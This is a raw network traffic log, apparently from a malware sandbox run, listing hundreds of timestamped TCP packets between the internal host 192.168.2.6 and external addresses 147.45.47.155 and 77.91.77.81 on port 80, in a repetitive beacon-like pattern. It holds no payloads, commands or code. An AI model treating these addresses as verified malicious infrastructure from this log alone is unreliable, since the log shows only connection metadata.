Jun 26, 2024 08:17:27.414010048 CEST	49861	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:27.414160967 CEST	49861	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:27.419662952 CEST	80	49861	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:28.080810070 CEST	80	49861	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:28.082272053 CEST	49861	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:28.083070040 CEST	49861	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:28.087948084 CEST	80	49861	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:28.289485931 CEST	80	49861	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:28.289578915 CEST	49861	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:28.393023014 CEST	49861	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:28.393399000 CEST	49862	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:28.398286104 CEST	80	49861	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:28.398324013 CEST	80	49862	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:28.398379087 CEST	49861	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:28.398408890 CEST	49862	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:28.398638010 CEST	49862	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:28.403558969 CEST	80	49862	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:29.074209929 CEST	80	49862	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:29.074381113 CEST	49862	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:29.075670958 CEST	49862	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:29.080446959 CEST	80	49862	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:29.283612967 CEST	80	49862	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:29.283776999 CEST	49862	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:29.392786980 CEST	49862	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:29.393240929 CEST	49863	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:29.398050070 CEST	80	49863	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:29.398179054 CEST	49863	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:29.398324966 CEST	49863	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:29.398453951 CEST	80	49862	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:29.398524046 CEST	49862	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:29.403656006 CEST	80	49863	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:30.064310074 CEST	80	49863	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:30.064389944 CEST	49863	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:30.065252066 CEST	49863	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:30.070424080 CEST	80	49863	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:30.272205114 CEST	80	49863	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:30.272325993 CEST	49863	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:30.376873970 CEST	49863	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:30.377334118 CEST	49864	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:30.382251978 CEST	80	49863	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:30.382320881 CEST	49863	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:30.382328987 CEST	80	49864	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:30.382416964 CEST	49864	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:30.382694960 CEST	49864	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:30.388149977 CEST	80	49864	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:31.047235012 CEST	80	49864	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:31.049902916 CEST	49864	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:31.050762892 CEST	49864	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:31.055603981 CEST	80	49864	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:31.257407904 CEST	80	49864	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:31.257901907 CEST	49864	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:31.363768101 CEST	49864	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:31.364587069 CEST	49865	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:31.369636059 CEST	80	49864	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:31.369751930 CEST	49864	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:31.369781017 CEST	80	49865	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:31.369862080 CEST	49865	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:31.370042086 CEST	49865	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:31.375107050 CEST	80	49865	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:32.039052963 CEST	80	49865	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:32.039119005 CEST	49865	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:32.040075064 CEST	49865	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:32.044862986 CEST	80	49865	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:32.246757984 CEST	80	49865	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:32.246853113 CEST	49865	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:32.361301899 CEST	49865	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:32.361924887 CEST	49867	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:32.367332935 CEST	80	49865	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:32.367414951 CEST	49865	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:32.368227959 CEST	80	49867	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:32.368309021 CEST	49867	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:32.368578911 CEST	49867	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:32.373353958 CEST	80	49867	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:32.379564047 CEST	80	49867	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:32.380743980 CEST	49868	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:32.385618925 CEST	80	49868	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:32.385711908 CEST	49868	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:32.385864973 CEST	49868	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:32.390731096 CEST	80	49868	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:32.391915083 CEST	80	49868	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:32.502417088 CEST	49869	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:32.507591009 CEST	80	49869	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:32.507675886 CEST	49869	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:32.507981062 CEST	49869	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:32.512664080 CEST	80	49869	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:32.512734890 CEST	49869	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:32.512866974 CEST	80	49869	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:32.512880087 CEST	49869	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:32.513823032 CEST	49870	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:32.518106937 CEST	80	49869	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:32.518249989 CEST	80	49869	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:32.519603968 CEST	80	49870	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:32.519709110 CEST	49870	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:32.519923925 CEST	49870	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:32.525279045 CEST	80	49870	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:32.525342941 CEST	80	49870	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:32.525434971 CEST	49870	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:32.525434971 CEST	49870	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:32.530349970 CEST	80	49870	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:32.531608105 CEST	80	49870	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:32.627811909 CEST	49871	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:32.633300066 CEST	80	49871	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:32.633457899 CEST	49871	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:32.633758068 CEST	49871	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:32.639472961 CEST	80	49871	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:33.329248905 CEST	80	49871	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:33.329312086 CEST	49871	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:33.337260962 CEST	49871	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:33.342117071 CEST	80	49871	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:33.549616098 CEST	80	49871	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:33.549695015 CEST	49871	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:33.658073902 CEST	49871	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:33.658406973 CEST	49872	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:33.663394928 CEST	80	49871	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:33.663464069 CEST	49871	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:33.663533926 CEST	80	49872	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:33.663625002 CEST	49872	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:33.663784981 CEST	49872	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:33.668646097 CEST	80	49872	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:34.336999893 CEST	80	49872	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:34.337116003 CEST	49872	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:34.337944984 CEST	49872	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:34.347131014 CEST	80	49872	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:34.551330090 CEST	80	49872	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:34.552706003 CEST	49872	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:34.658787012 CEST	49872	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:34.659213066 CEST	49873	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:34.664401054 CEST	80	49872	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:34.664463997 CEST	80	49873	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:34.664575100 CEST	49872	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:34.664617062 CEST	49873	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:34.664853096 CEST	49873	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:34.669734955 CEST	80	49873	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:35.366252899 CEST	80	49873	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:35.369860888 CEST	49873	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:35.370558023 CEST	49873	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:35.375324965 CEST	80	49873	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:35.582798958 CEST	80	49873	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:35.582870960 CEST	49873	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:35.691373110 CEST	49873	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:35.691679001 CEST	49874	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:35.696571112 CEST	80	49874	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:35.696671963 CEST	49874	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:35.696805000 CEST	49874	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:35.696811914 CEST	80	49873	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:35.696868896 CEST	49873	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:35.701813936 CEST	80	49874	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:36.394110918 CEST	80	49874	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:36.396248102 CEST	49874	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:36.396939039 CEST	49874	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:36.401746035 CEST	80	49874	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:36.610896111 CEST	80	49874	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:36.613859892 CEST	49874	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:36.720500946 CEST	49874	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:36.720817089 CEST	49875	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:36.725687027 CEST	80	49875	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:36.725876093 CEST	49875	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:36.726032019 CEST	49875	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:36.726622105 CEST	80	49874	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:36.726702929 CEST	49874	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:36.730976105 CEST	80	49875	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:37.426031113 CEST	80	49875	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:37.426116943 CEST	49875	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:37.426738977 CEST	49875	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:37.431546926 CEST	80	49875	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:37.637938023 CEST	80	49875	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:37.638004065 CEST	49875	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:37.791212082 CEST	49875	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:37.791754007 CEST	49876	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:37.796701908 CEST	80	49876	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:37.796777010 CEST	49876	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:37.796926022 CEST	49876	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:37.797127962 CEST	80	49875	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:37.797180891 CEST	49875	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:37.801778078 CEST	80	49876	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:38.473004103 CEST	80	49876	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:38.473114967 CEST	49876	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:38.473869085 CEST	49876	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:38.478805065 CEST	80	49876	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:38.683576107 CEST	80	49876	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:38.683686972 CEST	49876	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:38.798727989 CEST	49876	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:38.799069881 CEST	49877	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:38.805741072 CEST	80	49876	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:38.806637049 CEST	80	49877	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:38.806699038 CEST	49876	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:38.806737900 CEST	49877	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:38.806862116 CEST	49877	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:38.815498114 CEST	80	49877	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:39.486563921 CEST	80	49877	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:39.486702919 CEST	49877	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:39.489172935 CEST	49877	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:39.501552105 CEST	80	49877	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:39.704179049 CEST	80	49877	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:39.704297066 CEST	49877	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:39.814623117 CEST	49877	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:39.815073013 CEST	49880	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:39.820125103 CEST	80	49877	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:39.820193052 CEST	49877	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:39.820211887 CEST	80	49880	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:39.820281982 CEST	49880	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:39.820396900 CEST	49880	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:39.825495958 CEST	80	49880	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:40.511565924 CEST	80	49880	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:40.511620998 CEST	49880	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:40.515613079 CEST	49880	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:40.516158104 CEST	49881	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:40.517261028 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:17:40.520893097 CEST	80	49880	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:40.521033049 CEST	49880	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:40.521071911 CEST	80	49881	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:40.521145105 CEST	49881	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:40.521477938 CEST	49881	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:40.522351027 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:17:40.522394896 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:17:40.526355028 CEST	80	49881	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:40.526446104 CEST	80	49881	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:40.526460886 CEST	49881	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:40.526460886 CEST	49881	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:40.533250093 CEST	80	49881	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:40.533279896 CEST	80	49881	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:40.645979881 CEST	49882	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:40.650840044 CEST	80	49882	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:40.650921106 CEST	49882	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:40.651182890 CEST	49882	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:40.658294916 CEST	80	49882	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:41.323242903 CEST	80	49882	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:41.323460102 CEST	49882	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:41.326108932 CEST	49882	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:41.326392889 CEST	49883	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:41.331366062 CEST	80	49882	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:41.331420898 CEST	80	49883	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:41.331461906 CEST	49882	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:41.331532955 CEST	49883	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:41.331779957 CEST	49883	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:41.336661100 CEST	80	49883	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:41.336796999 CEST	80	49883	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:41.336889982 CEST	49883	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:41.336889982 CEST	49883	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:41.341892958 CEST	80	49883	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:41.341906071 CEST	80	49883	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:41.441634893 CEST	49884	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:41.450529099 CEST	80	49884	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:41.450727940 CEST	49884	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:41.450922966 CEST	49884	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:41.457551956 CEST	80	49884	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:41.466206074 CEST	80	49884	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:41.470674992 CEST	49885	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:41.476341963 CEST	80	49885	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:41.476512909 CEST	49885	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:41.476686001 CEST	49885	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:41.487581015 CEST	80	49885	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:41.492398024 CEST	80	49885	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:41.598716021 CEST	49886	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:41.603535891 CEST	80	49886	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:41.604242086 CEST	49886	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:41.604609966 CEST	49886	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:41.609390974 CEST	80	49886	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:41.609554052 CEST	80	49886	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:41.610661030 CEST	49887	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:41.616134882 CEST	80	49887	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:41.616336107 CEST	49887	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:41.616449118 CEST	49887	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:41.624108076 CEST	80	49887	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:41.624344110 CEST	80	49887	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:41.738246918 CEST	49888	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:41.744364977 CEST	80	49888	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:41.744575024 CEST	49888	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:41.744827032 CEST	49888	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:41.752695084 CEST	80	49888	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:42.416945934 CEST	80	49888	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:42.417002916 CEST	49888	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:42.421309948 CEST	49888	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:42.421833992 CEST	49889	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:42.426964998 CEST	80	49889	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:42.427043915 CEST	49889	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:42.427345991 CEST	49889	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:42.427709103 CEST	80	49888	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:42.427756071 CEST	49888	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:42.432276964 CEST	80	49889	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:43.111320972 CEST	80	49889	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:43.111412048 CEST	49889	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:43.226809978 CEST	49889	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:43.227392912 CEST	49890	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:43.231843948 CEST	80	49889	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:43.231944084 CEST	49889	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:43.232124090 CEST	80	49890	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:43.232358932 CEST	49890	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:43.236496925 CEST	49890	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:43.241292953 CEST	80	49890	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:43.899847984 CEST	80	49890	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:43.899924994 CEST	49890	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:43.903062105 CEST	49890	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:43.904093981 CEST	49891	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:43.908906937 CEST	80	49890	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:43.908917904 CEST	80	49891	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:43.909006119 CEST	49890	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:43.909219980 CEST	49891	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:43.909624100 CEST	49891	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:43.914588928 CEST	80	49891	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:43.914864063 CEST	80	49891	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:44.036968946 CEST	49892	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:44.042361021 CEST	80	49892	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:44.042598963 CEST	49892	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:44.042905092 CEST	49892	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:44.048655987 CEST	80	49892	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:44.934820890 CEST	80	49892	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:44.934876919 CEST	49892	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:44.936189890 CEST	80	49892	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:44.936264992 CEST	49892	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:44.945430040 CEST	49892	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:44.955774069 CEST	80	49892	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:45.158174992 CEST	80	49892	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:45.161885977 CEST	49892	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:45.286010027 CEST	49892	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:45.286887884 CEST	49893	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:45.291688919 CEST	80	49892	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:45.291759014 CEST	80	49893	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:45.291769981 CEST	49892	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:45.291827917 CEST	49893	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:45.293718100 CEST	49893	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:45.297758102 CEST	80	49893	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:45.297811985 CEST	49893	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:45.298537970 CEST	80	49893	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:45.302264929 CEST	49893	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:45.302901983 CEST	80	49893	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:45.302953005 CEST	49894	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:45.307141066 CEST	80	49893	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:45.307864904 CEST	80	49894	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:45.313930035 CEST	49894	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:45.318458080 CEST	49894	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:45.319158077 CEST	80	49894	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:45.319891930 CEST	49894	80	192.168.2.6	147.45.47.155
